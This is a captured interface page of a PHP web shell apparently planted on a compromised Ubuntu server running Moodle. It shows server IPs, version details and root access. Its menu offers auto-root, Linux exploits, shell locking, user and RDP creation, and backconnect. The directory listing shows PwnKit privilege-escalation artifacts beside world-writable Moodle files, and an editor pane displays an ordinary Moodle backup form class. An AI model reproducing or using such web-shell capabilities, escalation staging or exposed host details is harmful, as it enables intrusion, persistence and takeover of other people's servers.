Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
backup /
util /
ui /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
backup_moodleform.class.php
3.47
KB
-rwxrwxrwx
backup_ui.class.php
6.49
KB
-rwxrwxrwx
backup_ui_setting.class.php
19.59
KB
-rwxrwxrwx
backup_ui_stage.class.php
18.49
KB
-rwxrwxrwx
base_moodleform.class.php
14.78
KB
-rwxrwxrwx
base_ui.class.php
9.54
KB
-rwxrwxrwx
base_ui_stage.class.php
4.23
KB
-rwxrwxrwx
import_extensions.php
6.3
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
33.52
KB
-rwxrwxrwx
restore_moodleform.class.php
1.36
KB
-rwxrwxrwx
restore_ui.class.php
10.86
KB
-rwxrwxrwx
restore_ui_components.php
10.66
KB
-rwxrwxrwx
restore_ui_stage.class.php
28.93
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_moodleform.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains the generic moodleform bridge for the backup user interface * as well as the individual forms that relate to the different stages the user * interface can exist within. * * @package moodlecore * @copyright 2010 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Backup moodleform bridge * * Ahhh the mighty moodleform bridge! Strong enough to take the weight of 682 full * grown african swallows all of whom have been carring coconuts for several days. * EWWWWW!!!!!!!!!!!!!!!!!!!!!!!! * * @copyright 2010 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class backup_moodleform extends base_moodleform { /** * Creates the form * * @param backup_ui_stage $uistage * @param moodle_url|string $action * @param mixed $customdata * @param string $method get|post * @param string $target * @param array $attributes * @param bool $editable */ public function __construct(backup_ui_stage $uistage, $action = null, $customdata = null, $method = 'post', $target = '', $attributes = null, $editable = true) { parent::__construct($uistage, $action, $customdata, $method, $target, $attributes, $editable); } } /** * Initial backup user interface stage moodleform. * * Nothing to override we only need it defined so that moodleform doesn't get confused * between stages. */ class backup_initial_form extends backup_moodleform {} /** * Schema backup user interface stage moodleform. * * Nothing to override we only need it defined so that moodleform doesn't get confused * between stages. */ class backup_schema_form extends backup_moodleform {} /** * Confirmation backup user interface stage moodleform. * * Nothing to override we only need it defined so that moodleform doesn't get confused * between stages. */ class backup_confirmation_form extends backup_moodleform { public function definition_after_data() { parent::definition_after_data(); $this->_form->addRule('setting_root_filename', get_string('errorfilenamerequired', 'backup'), 'required'); $this->_form->setType('setting_root_filename', PARAM_FILE); } public function validation($data, $files) { $errors = parent::validation($data, $files); if (!array_key_exists('setting_root_filename', $errors)) { if (trim($data['setting_root_filename']) == '') { $errors['setting_root_filename'] = get_string('errorfilenamerequired', 'backup'); } else if (!preg_match('#\.mbz$#i', $data['setting_root_filename'])) { $errors['setting_root_filename'] = get_string('errorfilenamemustbezip', 'backup'); } } return $errors; } }
Close